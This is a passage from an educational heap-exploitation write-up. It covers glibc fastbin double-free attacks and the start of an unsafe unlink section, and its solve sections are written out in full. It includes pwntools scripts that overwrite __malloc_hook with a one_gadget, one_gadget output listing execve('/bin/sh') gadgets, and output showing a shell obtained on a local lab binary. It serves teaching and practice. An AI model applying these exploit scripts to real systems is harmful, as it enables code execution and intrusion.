</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3593
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3594
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#6ae4b9">size_t</span> victim_idx <span style="color:#00d3d0">=</span> <span style="color:#feacd0">fastbin_index</span> (<span style="color:#feacd0">chunksize</span> (victim));
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__builtin_expect</span> (victim_idx <span style="color:#00d3d0">!=</span> idx, <span style="color:#00bcff">0</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;malloc(): memory corruption (fast)&#34;</span>);</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>This is trivially bypassed by freeing a different chunk in between the two <kbd>free</kbd>​s of chunk A.</p>
<h3 id="solve">Solve</h3>
<p>There are a few complications to address when actually writing the exploit.</p>
<p>We have a libc leak again so malloc hooks (particularly <kbd>__malloc_hook</kbd> and <kbd>__free_hook</kbd>) are viable targets.
However, because this time we&rsquo;re allocating a fake chunk from a corrupted freelist pointer, the 16 bytes before our target must be valid metadata for a freed chunk.</p>
<p><kbd>__free_hook</kbd> is surrounded by zeroes so it&rsquo;s a no-go, but <kbd>__malloc_hook</kbd> is a different story:</p>
<figure><img src="https://feyor.sh/writeups/heaplab/fastbin_dup-__malloc_hook.svg">
</figure>

<p>Instead of putzing around with finding a good alignment ourselves, we can let pwndbg do it for us:</p>
<figure><img src="https://feyor.sh/writeups/heaplab/fastbin_dup-find-fake-fast.svg">
</figure>

<p>But a size field of 0xf8 is larger than that of the largest chunk&rsquo;s fastbin (0x80).
The values of <kbd>_IO_wide_data_0+240</kbd> differ between my aarch64-linux NixOS VM (running the binary with <a href="https://github.com/Feyorsh/pwnypus/blob/33a81c39391456e5ae9a8f70e1562d3dc2d39157/vm.nix">QEMU/Rosetta</a>) and the intended x86_64-linux Ubuntu VM, so this approach won&rsquo;t work for my setup specifically.</p>
<p>The same is also true for trying FSOP, as we can&rsquo;t create a fake chunk in <kbd>__GI__IO_file_jumps</kbd>.</p>
<p>We&rsquo;ll soon discuss a very interesting method of using the fastbin dupe to corrupt <kbd>main_arena</kbd>&rsquo;s top_chunk pointer, but that requires more allocations than the 7 we&rsquo;re permitted here, so we&rsquo;ll settle for overwriting the target for now.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;fastbin_dup&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your username: &#34;</span>, p64(<span style="color:#00bcff">0x20</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvline()
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;B&#34;</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">1</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk B] -&gt; [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; [chunk B] -&gt; [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)) <span style="color:#a8a8a8"># chunk C</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk B] -&gt; [chunk A] -&gt; &amp;user</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;D&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; &amp;user</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;E&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: &amp;user</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;F&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">8</span> <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;pwned&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvline()
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;target: XXXXXXX\n&#39;
</span></span><span style="display:flex;"><span>b&#39;target: pwnedXX\n&#39;</span></span></code></pre></div>

<h3 id="challenge-solve">Challenge solve</h3>
<p>So I hinted that there&rsquo;s a way to corrupt <kbd>main_arena</kbd>&rsquo;s top_chunk pointer to achieve a truly arbitrary write, and indeed we&rsquo;ll do just that.</p>
<p>The basic idea is that we have an arbitrary write over the fastbin head pointers; most values don&rsquo;t point to valid freed fastbin chunks and will therefore crash during the integrity checks when allocating from that fastbin, but what if we used that value to create a fake free fastbin cache inside <kbd>main_arena</kbd>?
Then we could use another fastbin dupe to clobber the <kbd>top</kbd> chunk pointer, which is convenient because allocations serviced from the top chunk are not subject to the same strict size integrity checks as fastbin chunks!</p>
<p>By settings the the <kbd>top</kbd> pointer to just before <kbd>__malloc_hook</kbd> (with some misalignment introduced to ensure the fake top chunk has a valid size field), we can jump to a one_gadget when we next call <kbd>malloc</kbd>:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>one_gadget <span style="color:#b6a0ff">$(</span>patchelf --print-rpath fastbin_dup_2<span style="color:#b6a0ff">)</span>/libc.so.6</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xc4dbf execve(&#34;/bin/sh&#34;, r13, r12)
</span></span><span style="display:flex;"><span>constraints:
</span></span><span style="display:flex;"><span>  [r13] == NULL || r13 == NULL || r13 is a valid argv
</span></span><span style="display:flex;"><span>  [r12] == NULL || r12 == NULL || r12 is a valid envp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>0xc4ddf execve(&#34;/bin/sh&#34;, rbp-0x40, r12)
</span></span><span style="display:flex;"><span>constraints:
</span></span><span style="display:flex;"><span>  address rbp-0x38 is writable
</span></span><span style="display:flex;"><span>  rdi == NULL || {&#34;/bin/sh&#34;, rdi, NULL} is a valid argv
</span></span><span style="display:flex;"><span>  [r12] == NULL || r12 == NULL || r12 is a valid envp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>0xc4de6 execve(&#34;/bin/sh&#34;, rbp-0x40, r12)
</span></span><span style="display:flex;"><span>constraints:
</span></span><span style="display:flex;"><span>  address rbp-0x38 is writable
</span></span><span style="display:flex;"><span>  rax == NULL || {rax, rdi, NULL} is a valid argv
</span></span><span style="display:flex;"><span>  [r12] == NULL || r12 == NULL || r12 is a valid envp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>0xe1fa1 execve(&#34;/bin/sh&#34;, rsp+0x50, environ)
</span></span><span style="display:flex;"><span>constraints:
</span></span><span style="display:flex;"><span>  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv</span></span></code></pre></div>

<p>As it happens we control the contents of <code>[rsp+0x50]</code>, which we can set to a string that prevents further argument processing; <code>&quot;-s&quot;</code> does the trick for <kbd>dash</kbd>​/​<kbd>bash</kbd>.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;fastbin_dup_2&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>one_gadget <span style="color:#00d3d0">=</span> libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0xe1fa1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x80 freelist: NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;B&#34;</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">1</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk B] -&gt; [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; [chunk B] -&gt; [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(<span style="color:#00bcff">0x60</span>)) <span style="color:#a8a8a8"># chunk C</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk B] -&gt; [chunk A] -&gt; 0x60</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;D&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; 0x60</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;E&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: 0x60</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;F&#34;</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;G&#34;</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">5</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x60 freelist: [chunk F] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">6</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x60 freelist: [chunk G] -&gt; [chunk F] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">5</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x60 freelist: [chunk F] -&gt; [chunk G] -&gt; [chunk F] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>main_arena<span style="color:#00d3d0">+</span><span style="color:#00bcff">8</span>)) <span style="color:#a8a8a8"># chunk H</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x60 freelist: [chunk F] -&gt; [chunk G] -&gt; &amp;main_arena</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;-s</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>) <span style="color:#a8a8a8"># chunk I, lives at rsp+0x50 when __malloc_hook is executed</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x60 freelist: [chunk G] -&gt; &amp;main_arena</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;J&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x60 freelist: &amp;main_arena</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x48</span> <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__malloc_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x1c</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># main_arena.top_chunk = &amp;__malloc_hook-0x10</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x80</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;L&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">20</span> <span style="color:#00d3d0">+</span> p64(one_gadget)) <span style="color:#a8a8a8"># chunk L</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># __malloc_hook = &amp;one_gadget</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x2d</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&#34;</span>) <span style="color:#a8a8a8"># chunk M</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># __malloc_hook triggered</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h2 id="unsafe-unlink">Unsafe unlink</h2>
<p>When a &ldquo;normal&rdquo; chunk is freed, it is added to the unsortedbin doubly linked list; this behaves very similarly to the fastbins, except there&rsquo;s now an additional <kbd>bk</kbd> pointer stored after the <kbd>fd</kbd> pointer.</p>
<p>But having a bunch of randomly sized chunks in a freelist is not really ideal, as we&rsquo;d like to be able to reclaim these chunks and use them for even larger allocations.
Enter chunk consolidation—when a chunk is freed, malloc will check if the chunk&rsquo;s neighboring chunks are also freed, in which case malloc will backwards and/or forwards consolidate the chunks into a single larger chunk.
But a freed chunk is still inside the unsortedbin we talked about earlier, so before this consolidation can occur malloc has to unlink one or more nodes from the unsortedbin linked list (as the chunk being freed is merged with one or both of its neighboring chunks).</p>
<p>In older versions of Glibc this linked list unlinking was not performed safely, so by corrupting heap chunks one could leverage this chunk consolidation for a (somewhat constrained) reflected write.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<h3 id="solve">Solve</h3>
<p>In this challenge we can write 8 bytes past the end of our requested size, which we can use to corrupt the next chunk&rsquo;s size field <span class="underline">and flags</span>.</p>
<p>By clearing chunk B&rsquo;s <kbd>prev_inuse</kbd> flag, we can convince malloc that the chunk before chunk B (chunk A) is freed for the purposes of chunk consolidation when chunk B is freed.
When we free chunk B, malloc will attempt to unlink chunk A from the unsortedbin freelist by setting <span class="inline-src language-c" data-lang="c"><code>chunk_a.bk-&gt;fd = chunk_a.fd</code></span> and <span class="inline-src language-c" data-lang="c"><code>chunk_a.fd-&gt;bk = chunk_a.bk</code></span> (using temporary variables where appropriate):</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1413
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1414
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1415
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1416
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1417
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1418
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1419
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1420
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1421
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1422
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1423
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1424
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1425
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1426
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1427
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1428
